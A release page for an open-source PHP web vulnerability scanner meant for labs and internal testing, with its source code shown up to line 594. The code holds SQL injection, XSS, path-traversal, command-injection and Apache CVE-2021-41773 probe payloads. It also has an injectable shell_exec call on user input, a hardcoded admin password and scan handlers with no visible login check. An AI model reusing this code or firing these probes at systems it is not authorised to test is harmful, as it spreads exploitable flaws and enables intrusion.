X-code Carolina Pentest

vBeta 1 // source code download
FREE & OPEN SOURCE
Dokumentasi
Xcode Xcode.co.id · OPEN SOURCE RELEASE

Carolina Pentest AI Beta 1

Eksperimen awal untuk menggabungkan automated penetration testing dengan bantuan Artificial Intelligence (AI). Tool ini dikembangkan agar proses pengujian keamanan web menjadi lebih sederhana, cepat, dan mudah dipahami — terutama untuk kebutuhan lab, pembelajaran cybersecurity, dan pengujian internal.

DOKUMENTASI LENGKAP

Pelajari Cara Kerja Carolina Pentest AI Beta 1

Buka Dokumentasi
https://masterkurniawan.my.id/index.php/2026/08/16/carolina-pentest-ai-beta-1-membangun-automated-ai-pentest/
Carolina Pentest AI Beta 1 masih merupakan versi eksperimen. Hasil scanning belum dapat dianggap sebagai pengganti penetration test profesional atau security assessment manual.
Nama Aplikasi
Carolina Pentest AI
Versi / Status
Beta 1 · Experimental
Pengembang
Masterkurniawan.ceo
Vendor
Xcode.co.id
Ukuran File
49.263 bytes
Total Baris
1.010
Alur Kerja
Target Discovery Parameter Detection Vulnerability Testing Reporting AI Analysis
Fitur yang Sudah Tersedia

1. Target Validation

Fungsi validate_target() melakukan validasi awal terhadap target. Target dapat berupa domain maupun alamat IP, misalnya example.com, 192.168.1.100, atau example.com/login.

2. Server Information Detection

Tool melakukan HTTP request dan membaca header seperti Server, X-Powered-By, Content-Type, Set-Cookie, dan HTTP status code untuk membuat fingerprint sederhana terhadap server.

3. Technology Detection

Mengidentifikasi teknologi target (PHP Version, Web Server, Operating System, Content Type). Deteksi mengandalkan HTTP header dan dapat dikembangkan menjadi fingerprinting yang lebih lengkap.

4. Parameter Discovery

Mengambil parameter dari URL query string, HTML form, input field, link dengan query parameter, serta beberapa pola AJAX. Penting karena SQL Injection, XSS, LFI, dan Command Injection sering berada pada parameter input pengguna.

5. SQL Injection Testing

Mendeteksi Error-based dan Time-based SQL Injection menggunakan beberapa payload pengujian. Jika ditemukan indikasi, sistem memberi hasil SQL Injection (Error based) — CRITICAL.

6. Reflected XSS Detection

Mengirim beberapa payload uji dan mencari apakah payload tersebut muncul kembali pada response. Jika ditemukan, sistem memberi status XSS (Reflected) — HIGH.

7. LFI / Path Traversal

Menguji Local File Inclusion atau Path Traversal dengan beberapa pola traversal untuk melihat apakah aplikasi dapat membaca file yang seharusnya tidak dapat diakses, misalnya /etc/passwd. Severity HIGH.

8. Command Injection Detection

Mengirim input yang dapat memicu eksekusi command pada server dan mencari pola output command pada response (mis. uid=..., gid=...). Diklasifikasikan sebagai CRITICAL.

9. Deteksi Apache 2.4.49 / 2.4.50

Pemeriksaan khusus terkait CVE-2021-41773 & CVE-2021-42013. Scanner memvalidasi indikasi path traversal. Jika ditemukan konten /etc/passwd, sistem memberi temuan Critical.

10. AI Assistant

Setelah pentest selesai, data vulnerability dikirim ke model AI melalui OpenRouter. AI menjawab pertanyaan seperti "Bug yang ditemukan apa?" atau "Apa rekomendasi perbaikannya?".

Reporting & Arsitektur

VA Report

Menyajikan hasil vulnerability assessment: Target, Tanggal, Pentester, Client, Server information, Vulnerability, Severity, CVSS, Evidence, Recommendation.

Pentest Report

Laporan pentest mencakup Executive Summary, Phases, Parameters, Vulnerabilities, Recommendations, Conclusion.

Arsitektur

1 Browser
2 PHP Web Application
3 Target Validation
4 Reconnaissance
5 Parameter Discovery
6 Vulnerability Scanner (SQLi, XSS, LFI, Command Injection, Apache CVE Check)
7 JSON Storage
8 OpenRouter AI Analysis
Hasil Pengujian Beta 1
Target LabTemuanSeverity
BlogPHP Reflected XSS High
Login Application SQL Injection Critical
LFI Test App Path Traversal / LFI High
Apache Test Apache vulnerability High/Critical
Teknologi
PHP cURL JavaScript JSON OpenRouter
Kode Sumber (index.txt)
index.txt 1.010 lines
1<?php
2error_reporting(E_ALL);
3ini_set('display_errors', 1);
4session_start();
5
6define('USERNAME', 'admin');
7define('PASSWORD', 'baseball');
8define('OPENROUTER_API_KEY', '');
9define('OPENROUTER_MODEL', 'openai/gpt-3.5-turbo');
10define('DATA_DIR', __DIR__ . '/data');
11define('PENTEST_FILE', DATA_DIR . '/pentest_results.json');
12define('VA_FILE', DATA_DIR . '/va_results.json');
13define('REPORT_FILE', DATA_DIR . '/pentest_report.json');
14define('HISTORY_FILE', DATA_DIR . '/chat_history.json');
15define('TARGET_FILE', DATA_DIR . '/target.json');
16
17if (!is_dir(DATA_DIR)) mkdir(DATA_DIR, 0755, true);
18
19function load_json($f, $d=[]) { return file_exists($f) ? (json_decode(@file_get_contents($f), true) ?: $d) : $d; }
20function save_json($f, $d) { @file_put_contents($f, json_encode($d, JSON_PRETTY_PRINT)); }
21
22function validate_target($t) {
23    $t = trim($t);
24    if (empty($t)) return false;
25    $t = preg_replace('#^https?://#', '', $t);
26    $parts = explode('/', $t, 2);
27    $host = $parts[0];
28    $path = isset($parts[1]) ? '/' . $parts[1] : '';
29    if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9-]{1,61}\.[a-zA-Z]{2,}$/', $host) && 
30        !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)) {
31        return false;
32    }
33    return $host . $path;
34}
35
36function check_ai_status() {
37    $ch = curl_init();
38    curl_setopt($ch, CURLOPT_URL, 'https://openrouter.ai/api/v1/chat/completions');
39    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
40    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
41    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
42    curl_setopt($ch, CURLOPT_POST, 1);
43    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Authorization: Bearer ' . OPENROUTER_API_KEY, 'Content-Type: application/json']);
44    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['model'=>OPENROUTER_MODEL, 'messages'=>[['role'=>'user','content'=>'ping']], 'max_tokens'=>2]));
45    $r = curl_exec($ch);
46    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
47    curl_close($ch);
48    return ['status'=>$code===200, 'message'=>$code===200?'AI Online':'AI Offline', 'timestamp'=>date('Y-m-d H:i:s')];
49}
50
51function http_get_timed($url, &$time=0) {
52    $start = microtime(true);
53    $ch = curl_init();
54    curl_setopt($ch, CURLOPT_URL, $url);
55    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
56    curl_setopt($ch, CURLOPT_TIMEOUT, 8);
57    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
58    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
59    $r = curl_exec($ch);
60    curl_close($ch);
61    $time = microtime(true) - $start;
62    return $r;
63}
64
65function http_get($url) {
66    $time = 0;
67    return http_get_timed($url, $time);
68}
69
70function get_headers_detailed($url) {
71    $ch = curl_init();
72    curl_setopt($ch, CURLOPT_URL, $url);
73    curl_setopt($ch, CURLOPT_NOBODY, 1);
74    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
75    curl_setopt($ch, CURLOPT_HEADER, 1);
76    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
77    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
78    $r = curl_exec($ch);
79    $info = curl_getinfo($ch);
80    curl_close($ch);
81    $headers = [];
82    foreach (explode("\n", $r) as $line) {
83        if (strpos($line, ':') !== false) {
84            list($k,$v) = explode(':', $line, 2);
85            $headers[trim($k)] = trim($v);
86        }
87    }
88    return [
89        'server' => $headers['Server'] ?? 'Unknown',
90        'powered_by' => $headers['X-Powered-By'] ?? 'Unknown',
91        'content_type' => $headers['Content-Type'] ?? 'Unknown',
92        'cookies' => $headers['Set-Cookie'] ?? 'None',
93        'status' => $info['http_code'] ?? 0,
94    ];
95}
96
97function detect_tech($url) {
98    $info = [];
99    $headers = get_headers_detailed($url);
100    $info['server'] = $headers['server'];
101    $info['powered_by'] = $headers['powered_by'];
102    $info['content_type'] = $headers['content_type'];
103    $info['status'] = $headers['status'];
104    $info['cookies'] = $headers['cookies'];
105    if (stripos($headers['powered_by'], 'PHP') !== false) {
106        preg_match('/PHP\/([\d\.]+)/i', $headers['powered_by'], $m);
107        $info['php_version'] = $m[1] ?? 'Unknown';
108    } else {
109        $info['php_version'] = 'Tidak terdeteksi';
110    }
111    $server = $headers['server'];
112    if (stripos($server, 'Windows') !== false) {
113        $info['os'] = 'Windows';
114    } elseif (stripos($server, 'Linux') !== false || stripos($server, 'Ubuntu') !== false) {
115        $info['os'] = 'Linux';
116    } elseif (stripos($server, 'Darwin') !== false) {
117        $info['os'] = 'macOS';
118    } else {
119        $info['os'] = 'Tidak diketahui';
120    }
121    return $info;
122}
123
124function extract_parameters($url) {
125    $params = [];
126    $parts = parse_url($url);
127    if (isset($parts['query'])) {
128        parse_str($parts['query'], $q);
129        $params = array_keys($q);
130    }
131    $html = http_get($url);
132    if ($html) {
133        preg_match_all('/<form[^>]*method=["\']?get["\']?[^>]*action=["\']?([^"\']*)["\']?[^>]*>/i', $html, $forms);
134        foreach ($forms[1] as $action) {
135            $action_url = $action ? $action : $url;
136            if (strpos($action_url, '?') !== false) {
137                parse_str(parse_url($action_url, PHP_URL_QUERY), $q);
138                $params = array_merge($params, array_keys($q));
139            }
140        }
141        preg_match_all('/<input[^>]*name=["\']([^"\']+)["\'][^>]*>/i', $html, $inputs);
142        $params = array_merge($params, $inputs[1]);
143        preg_match_all('/<input[^>]*name=([^\s>"\']+)[^>]*>/i', $html, $inputs2);
144        $params = array_merge($params, $inputs2[1]);
145        preg_match_all('/<a[^>]*href=["\']([^"\']*\?[^"\']*)["\'][^>]*>/i', $html, $links);
146        foreach ($links[1] as $link) {
147            if (strpos($link, '?') !== false) {
148                parse_str(parse_url($link, PHP_URL_QUERY), $q);
149                $params = array_merge($params, array_keys($q));
150            }
151        }
152        preg_match_all('/\.(get|post|ajax)\(["\']([^"\']*\?[^"\']*)["\']/i', $html, $ajax);
153        foreach ($ajax[2] as $ajax_url) {
154            if (strpos($ajax_url, '?') !== false) {
155                parse_str(parse_url($ajax_url, PHP_URL_QUERY), $q);
156                $params = array_merge($params, array_keys($q));
157            }
158        }
159    }
160    $params = array_unique(array_filter($params));
161    return $params;
162}
163
164// ----- Fungsi pembantu untuk mendeteksi error include (false positive) -----
165function is_include_error($response) {
166    $patterns = [
167        '/failed to open stream/i',
168        '/No such file/i',
169        '/include\(/i',
170        '/require\(/i',
171        '/file_get_contents\(/i'
172    ];
173    foreach ($patterns as $pattern) {
174        if (preg_match($pattern, $response)) {
175            return true;
176        }
177    }
178    return false;
179}
180
181function is_sql_error($response) {
182    $patterns = [
183        '/mysql/i', '/sql syntax/i', '/ora-[0-9]/i', '/sqlite/i',
184        '/postgresql error/i', '/unclosed quotation mark/i',
185        '/you have an error in your sql/i', '/warning.*mysql/i',
186        '/pdoexception/i', '/db2 sql error/i'
187    ];
188    foreach ($patterns as $pattern) {
189        if (preg_match($pattern, $response)) {
190            return true;
191        }
192    }
193    return false;
194}
195
196// ---------- SQL Injection (hanya error-based & time-based, boolean dihapus) ----------
197function test_sql($url, $param, $baseline_response) {
198    $vulns = [];
199    $time_payloads = [
200        "' OR SLEEP(5)-- ",
201        "' OR pg_sleep(5)-- ",
202        "' WAITFOR DELAY '0:0:5'-- ",
203        "\" OR SLEEP(5)-- ",
204        "\" OR pg_sleep(5)-- ",
205        "\" WAITFOR DELAY '0:0:5'-- "
206    ];
207    // Error-based payloads
208    $error_payloads = [
209        "'",
210        "\"",
211        "' OR 1=1-- ",
212        "' OR 1=2-- ",
213        "\" OR 1=1-- ",
214        "\" OR 1=2-- "
215    ];
216    // Cek error-based
217    foreach ($error_payloads as $p) {
218        $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p);
219        $r = http_get($u);
220        if (is_include_error($r)) continue;
221        if (is_sql_error($r)) {
222            $vulns[] = ['type'=>'SQL Injection (Error based)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Pesan error SQL dengan payload: $p"];
223            break;
224        }
225    }
226    // Cek time-based (jika belum ditemukan)
227    if (empty($vulns)) {
228        foreach ($time_payloads as $p) {
229            $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p);
230            $time = 0;
231            $r = http_get_timed($u, $time);
232            if (is_include_error($r)) continue;
233            if ($time > 4.5) {
234                $vulns[] = ['type'=>'SQL Injection (Time based)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Waktu respon {$time}s dengan payload: $p"];
235                break;
236            }
237        }
238    }
239    return $vulns;
240}
241
242// ---------- Deteksi Apache 2.4.49/50 ----------
243function test_apache_vuln($base_url) {
244    $vulns = [];
245    $payloads = [
246        '/cgi-bin/.%2e/.%2e/.%2e/etc/passwd',
247        '/cgi-bin/.%2e/.%2e/.%2e/bin/sh',
248        '/.%2e/.%2e/.%2e/etc/passwd'
249    ];
250    foreach ($payloads as $p) {
251        $url = $base_url . $p;
252        $r = http_get($url);
253        if (strpos($r, 'root:') !== false || strpos($r, 'bin:') !== false) {
254            $vulns[] = ['type'=>'Apache Path Traversal / RCE (CVE-2021-41773/42013)', 'url'=>$url, 'parameter'=>'N/A', 'severity'=>'CRITICAL', 'evidence'=>"File /etc/passwd terlihat dengan payload: $p"];
255            break;
256        }
257    }
258    return $vulns;
259}
260
261// ---------- XSS (tetap sensitif tapi filter include error) ----------
262function test_xss($url, $param) {
263    $payloads = [
264        "<script>alert(123)</script>",
265        "<script>alert('XSS')</script>",
266        "<img src=x onerror=alert(1)>",
267        "<svg onload=alert(1)>",
268        "<body onload=alert(1)>",
269        "<iframe src='javascript:alert(1)'></iframe>",
270        "onerror=alert(1) src=x",
271        "%3Cscript%3Ealert(1)%3C/script%3E",
272        "javascript:alert(1)",
273        "\"><script>alert(1)</script>",
274        "'><script>alert(1)</script>",
275        "\" onmouseover=alert(1) x=\"",
276        "' onmouseover=alert(1) x='",
277        "<img onerror=alert(1)>",
278        "<details open ontoggle=alert(1)>",
279        "<marquee onstart=alert(1)>",
280        "<script>eval('alert(1)')</script>",
281        "=<script>alert(123)</script>",
282        "%3Cscript%3Ealert%28123%29%3C%2Fscript%3E",
283        "alert(1)",
284        "prompt(1)",
285        "confirm(1)"
286    ];
287    $vulns = [];
288    foreach ($payloads as $p) {
289        $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p);
290        $r = http_get($u);
291        if (is_include_error($r)) continue;
292        // Cek refleksi langsung
293        if (strpos($r, $p) !== false) {
294            $vulns[] = ['type'=>'XSS (Reflected)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Payload terekam langsung: $p"];
295            break;
296        }
297        $decoded = html_entity_decode($r);
298        if (strpos($decoded, $p) !== false) {
299            $vulns[] = ['type'=>'XSS (Reflected - HTML decoded)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Payload terekam setelah HTML decode: $p"];
300            break;
301        }
302        $p_lower = strtolower($p);
303        $r_lower = strtolower($r);
304        if (strpos($r_lower, $p_lower) !== false) {
305            $vulns[] = ['type'=>'XSS (Reflected - case insensitive)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'MEDIUM', 'evidence'=>"Payload terekam (case-insensitive): $p"];
306            break;
307        }
308        $baseline = http_get($url);
309        if (abs(strlen($r) - strlen($baseline)) > 20) {
310            if (stripos($r, 'alert') !== false || stripos($r, 'script') !== false || stripos($r, 'onerror') !== false) {
311                if (!is_include_error($r)) {
312                    $vulns[] = ['type'=>'XSS (Possible - length change)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'LOW', 'evidence'=>"Perubahan panjang respon dan kata kunci terdeteksi: $p"];
313                    break;
314                }
315            }
316        }
317    }
318    return $vulns;
319}
320
321function test_lfi($url, $param) {
322    $payloads = ['../../../../etc/passwd', '..\\..\\..\\windows\\win.ini', '%2e%2e%2f%2e%2e%2fetc/passwd'];
323    $vulns = [];
324    foreach ($payloads as $p) {
325        $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p);
326        $r = http_get($u);
327        if (strpos($r, 'root:') !== false || strpos($r, '[extensions]') !== false) {
328            $vulns[] = ['type'=>'LFI / Path Traversal', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Konten file terdeteksi: $p"];
329            break;
330        }
331    }
332    return $vulns;
333}
334
335function test_cmd($url, $param) {
336    $payloads = [';id', '|id', '&&id', ';whoami', '& id', '$(id)'];
337    $vulns = [];
338    foreach ($payloads as $p) {
339        $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p);
340        $r = http_get($u);
341        if (preg_match('/uid=\d+\([^\)]+\)/', $r) || preg_match('/groups=\d+\([^\)]+\)/', $r) || preg_match('/user\s+name/i', $r)) {
342            $vulns[] = ['type'=>'Command Injection', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Output perintah terdeteksi: $p"];
343            break;
344        }
345    }
346    return $vulns;
347}
348
349function run_scan($target, $protocol, $params, &$prog=null) {
350    $base = $protocol . '://' . $target;
351    $all = [];
352    $tech = detect_tech($base);
353    $all[] = ['type'=>'Informasi Server', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'INFO', 
354        'evidence'=>"Server: {$tech['server']} | Powered-By: {$tech['powered_by']} | PHP: {$tech['php_version']} | OS: {$tech['os']} | Status: {$tech['status']} | Content-Type: {$tech['content_type']}"];
355    if ($tech['cookies'] != 'None') {
356        $all[] = ['type'=>'Cookie', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'INFO', 'evidence'=>"Set-Cookie: {$tech['cookies']}"];
357    }
358    if (stripos($tech['server'], 'Apache/2.4.49') !== false || stripos($tech['server'], 'Apache/2.4.50') !== false) {
359        $apache_vulns = test_apache_vuln($base);
360        $all = array_merge($all, $apache_vulns);
361        if (empty($apache_vulns)) {
362            $all[] = ['type'=>'Apache 2.4.49/2.4.50 Terdeteksi', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'HIGH', 'evidence'=>"Versi Apache {$tech['server']} rentan terhadap CVE-2021-41773/42013, namun eksploitasi langsung gagal (mungkin sudah di-patch)."];
363        }
364    }
365    $baseline = http_get($base);
366    if ($prog !== null) $prog = 30;
367    $total = count($params);
368    $i = 0;
369    foreach ($params as $p) {
370        $i++;
371        if ($prog !== null) $prog = 30 + round(($i/$total)*40);
372        $all = array_merge($all, test_sql($base, $p, $baseline));
373        $all = array_merge($all, test_xss($base, $p));
374        $all = array_merge($all, test_lfi($base, $p));
375        $all = array_merge($all, test_cmd($base, $p));
376        if (count($all) > 30) break;
377    }
378    if ($prog !== null) $prog = 80;
379    $unique = [];
380    foreach ($all as $v) {
381        $key = $v['type'] . '|' . $v['url'] . '|' . $v['parameter'];
382        if (!isset($unique[$key])) $unique[$key] = $v;
383    }
384    return ['vulnerabilities'=>array_values($unique), 'error'=>null];
385}
386
387function run_complete($target, $pentester, $client, $protocol='http', &$prog=null) {
388    $results = ['target'=>$target, 'protocol'=>$protocol, 'timestamp'=>date('Y-m-d H:i:s'), 'pentester'=>$pentester, 'client'=>$client, 'summary'=>['total'=>0,'critical'=>0,'high'=>0,'medium'=>0,'low'=>0,'info'=>0,'exploitable'=>false], 'vulnerabilities'=>[], 'phases'=>[], 'parameters_found'=>[], 'error'=>null];
389    if ($prog !== null) $prog = 5;
390    $full_url = $protocol . '://' . $target;
391    $results['phases'][] = ['phase'=>'Pra-engagement', 'data'=>['target'=>$full_url, 'pentester'=>$pentester, 'client'=>$client]];
392    if ($prog !== null) $prog = 15;
393    $params = extract_parameters($full_url);
394    $dirsearch = shell_exec("dirsearch -u $full_url -e * -t 10 --timeout 3 2>&1 | head -100");
395    if ($dirsearch) {
396        preg_match_all('/\?([^\s&]+)=/', $dirsearch, $m);
397        $params = array_merge($params, $m[1]);
398    }
399    $whatweb = shell_exec("whatweb -a 3 $full_url 2>&1");
400    if ($whatweb) {
401        preg_match_all('/\?([^\s&]+)=/', $whatweb, $m);
402        $params = array_merge($params, $m[1]);
403    }
404    $params = array_unique(array_filter($params));
405    $results['parameters_found'] = $params;
406    if ($prog !== null) $prog = 25;
407    $results['phases'][] = ['phase'=>'Pemodelan Ancaman', 'parameters'=>$params];
408    if ($prog !== null) $prog = 35;
409    $scan = run_scan($target, $protocol, $params, $prog);
410    if ($scan['error']) { $results['error'] = $scan['error']; return $results; }
411    $results['vulnerabilities'] = $scan['vulnerabilities'];
412    foreach ($results['vulnerabilities'] as $v) {
413        $sev = strtoupper($v['severity'] ?? 'LOW');
414        $results['summary']['total']++;
415        if ($sev == 'CRITICAL') $results['summary']['critical']++;
416        elseif ($sev == 'HIGH') $results['summary']['high']++;
417        elseif ($sev == 'MEDIUM') $results['summary']['medium']++;
418        elseif ($sev == 'LOW') $results['summary']['low']++;
419        else $results['summary']['info']++;
420    }
421    $exploitable = false;
422    foreach ($results['vulnerabilities'] as $v) {
423        if (in_array(strtoupper($v['severity']), ['CRITICAL','HIGH'])) { $exploitable = true; break; }
424    }
425    $results['summary']['exploitable'] = $exploitable;
426    $results['phases'][] = ['phase'=>'Pelaporan', 'summary'=>$results['summary']];
427    if ($prog !== null) $prog = 100;
428    return $results;
429}
430
431function generate_recommendations($vulns) {
432    $recs = [];
433    foreach ($vulns as $v) {
434        if (stripos($v['type'], 'SQL') !== false) $recs[] = '[KRITIS] Gunakan prepared statements atau query parameterized untuk mencegah SQL Injection.';
435        if (stripos($v['type'], 'XSS') !== false) $recs[] = '[TINGGI] Enkode output dan terapkan Content Security Policy (CSP).';
436        if (stripos($v['type'], 'LFI') !== false || stripos($v['type'], 'Traversal') !== false) $recs[] = '[TINGGI] Batasi akses file sistem dan gunakan whitelist untuk input path.';
437        if (stripos($v['type'], 'Command') !== false) $recs[] = '[KRITIS] Hindari penggunaan system(), exec(), shell_exec() pada input pengguna.';
438        if (stripos($v['type'], 'Apache') !== false) $recs[] = '[KRITIS] Segera perbarui Apache ke versi terbaru (≥2.4.51) untuk menambal CVE-2021-41773/42013.';
439    }
440    $recs[] = '[RENDAH] Lakukan pembaruan rutin pada semua komponen dan library.';
441    $recs[] = '[RENDAH] Implementasikan pencatatan (logging) dan pemantauan keamanan.';
442    return array_unique($recs);
443}
444
445function calculate_cvss($type) {
446    if (stripos($type, 'SQL')!==false || stripos($type,'Command')!==false || stripos($type,'Apache')!==false) return ['score'=>9.8, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'rating'=>'CRITICAL'];
447    if (stripos($type, 'XSS')!==false) return ['score'=>6.1, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'rating'=>'MEDIUM'];
448    if (stripos($type, 'LFI')!==false || stripos($type,'Traversal')!==false) return ['score'=>7.5, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'rating'=>'HIGH'];
449    return ['score'=>5.3, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'rating'=>'MEDIUM'];
450}
451
452function generate_va_report($result) {
453    $report = ['title'=>'Laporan VA - '.$result['target'], 'date'=>date('Y-m-d H:i:s'), 'pentester'=>$result['pentester'], 'client'=>$result['client'], 'protocol'=>$result['protocol']];
454    $report['executive_summary'] = $result['summary'];
455    $report['executive_summary']['label'] = 'Ringkasan Eksekutif';
456    $vuln_list = [];
457    foreach ($result['vulnerabilities'] as $v) {
458        $cvss = calculate_cvss($v['type']);
459        $vuln_list[] = ['type'=>$v['type'], 'url'=>$v['url'], 'parameter'=>$v['parameter'], 'severity'=>$v['severity'], 'cvss_score'=>$cvss['score'], 'cvss_vector'=>$cvss['vector'], 'cvss_rating'=>$cvss['rating'], 'evidence'=>$v['evidence']];
460    }
461    $report['vulnerabilities'] = $vuln_list;
462    $report['recommendations'] = generate_recommendations($result['vulnerabilities']);
463    $report['parameters_tested'] = $result['parameters_found'];
464    $report['error'] = $result['error'];
465    foreach ($result['vulnerabilities'] as $v) {
466        if ($v['type'] == 'Informasi Server') {
467            $report['server_info'] = $v['evidence'];
468            break;
469        }
470    }
471    return $report;
472}
473
474function generate_full_report($result) {
475    $report = ['title'=>'Laporan Pentest - '.$result['target'], 'date'=>date('Y-m-d H:i:s'), 'pentester'=>$result['pentester'], 'client'=>$result['client'], 'protocol'=>$result['protocol']];
476    $report['executive_summary'] = $result['summary'];
477    $report['executive_summary']['label'] = 'Ringkasan Eksekutif';
478    $report['phases'] = $result['phases'];
479    $report['parameters_found'] = $result['parameters_found'];
480    $report['vulnerabilities'] = $result['vulnerabilities'];
481    $report['recommendations'] = generate_recommendations($result['vulnerabilities']);
482    $report['conclusion'] = $result['summary']['critical']>0 ? 'KRITIS - Perbaiki segera!' : ($result['summary']['high']>0 ? 'TINGGI - Perlu peningkatan' : 'RENDAH - Relatif aman');
483    foreach ($result['vulnerabilities'] as $v) {
484        if ($v['type'] == 'Informasi Server') {
485            $report['server_info'] = $v['evidence'];
486            break;
487        }
488    }
489    return $report;
490}
491
492function analyze_with_ai($msg, $result) {
493    $prompt = "Anda ahli keamanan. Analisis hasil pentest:\nTarget: {$result['target']}\nTotal: {$result['summary']['total']}, Critical: {$result['summary']['critical']}, High: {$result['summary']['high']}\n";
494    foreach ($result['vulnerabilities'] as $v) $prompt .= "- {$v['type']} | {$v['severity']} | {$v['url']}\n";
495    $prompt .= "Pertanyaan: $msg\nJawab dalam bahasa Indonesia.";
496    $ch = curl_init();
497    curl_setopt($ch, CURLOPT_URL, 'https://openrouter.ai/api/v1/chat/completions');
498    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
499    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
500    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
501    curl_setopt($ch, CURLOPT_POST, 1);
502    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Authorization: Bearer ' . OPENROUTER_API_KEY, 'Content-Type: application/json']);
503    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['model'=>OPENROUTER_MODEL, 'messages'=>[['role'=>'system','content'=>'Anda ahli keamanan siber. Jawab dalam bahasa Indonesia dengan format HTML.'] , ['role'=>'user','content'=>$prompt]], 'max_tokens'=>800]));
504    $r = curl_exec($ch);
505    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
506    curl_close($ch);
507    if ($code==200) {
508        $d = json_decode($r, true);
509        return isset($d['choices'][0]['message']['content']) ? nl2br($d['choices'][0]['message']['content']) : 'Maaf, AI tidak merespon.';
510    }
511    return 'AI sedang offline. Coba lagi nanti.';
512}
513
514// AJAX handlers
515if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
516    ob_clean();
517    header('Content-Type: application/json');
518    $response = ['success'=>false, 'message'=>'', 'data'=>null];
519    try {
520        switch ($_POST['action']) {
521            case 'check_ai':
522                $response['success'] = true;
523                $response['data'] = check_ai_status();
524                break;
525            case 'run_pentest':
526                $target = validate_target($_POST['target'] ?? '');
527                if ($target) {
528                    $pentester = $_POST['pentester'] ?? 'Tim';
529                    $client = $_POST['client'] ?? 'Klien';
530                    $protocol = $_POST['protocol'] ?? 'http';
531                    $prog = 0;
532                    $result = run_complete($target, $pentester, $client, $protocol, $prog);
533                    save_json(PENTEST_FILE, $result);
534                    save_json(VA_FILE, generate_va_report($result));
535                    save_json(REPORT_FILE, generate_full_report($result));
536                    save_json(TARGET_FILE, ['target'=>$target, 'pentester'=>$pentester, 'client'=>$client, 'protocol'=>$protocol]);
537                    $response['success'] = true;
538                    $response['data'] = $result;
539                } else {
540                    $response['message'] = 'Target tidak valid.';
541                }
542                break;
543            case 'get_pentest_result':
544                $response['success'] = true;
545                $response['data'] = load_json(PENTEST_FILE, ['target'=>'Belum ada']);
546                break;
547            case 'get_va_report':
548                $response['success'] = true;
549                $response['data'] = load_json(VA_FILE, ['title'=>'Belum ada']);
550                break;
551            case 'get_full_report':
552                $response['success'] = true;
553                $response['data'] = load_json(REPORT_FILE, ['title'=>'Belum ada']);
554                break;
555            case 'send_message':
556                $msg = trim($_POST['message'] ?? '');
557                if ($msg) {
558                    $data = load_json(PENTEST_FILE, ['target'=>'Belum ada', 'summary'=>['total'=>0]]);
559                    $ai = analyze_with_ai($msg, $data);
560                    $response['success'] = true;
561                    $response['data'] = $ai;
562                    $history = load_json(HISTORY_FILE, []);
563                    $history[] = ['type'=>'user', 'content'=>$msg, 'timestamp'=>date('Y-m-d H:i:s')];
564                    $history[] = ['type'=>'ai', 'content'=>$ai, 'timestamp'=>date('Y-m-d H:i:s')];
565                    save_json(HISTORY_FILE, array_slice($history, -100));
566                } else {
567                    $response['message'] = 'Pesan kosong.';
568                }
569                break;
570            case 'get_history':
571                $response['success'] = true;
572                $response['data'] = array_slice(load_json(HISTORY_FILE, []), -20);
573                break;
574            case 'clear_history':
575                save_json(HISTORY_FILE, []);
576                $response['success'] = true;
577                break;
578        }
579    } catch (Exception $e) {
580        $response['message'] = 'Error: ' . $e->getMessage();
581    }
582    echo json_encode($response);
583    exit;
584}
585
586// Login
587if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
588    if (($_POST['username']??'') === USERNAME && ($_POST['password']??'') === PASSWORD) {
589        $_SESSION['logged_in'] = true;
590        header('Location: ' . $_SERVER['PHP_SELF']);
591        exit;
592    } else $login_error = 'Salah!';
593}
594if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; }
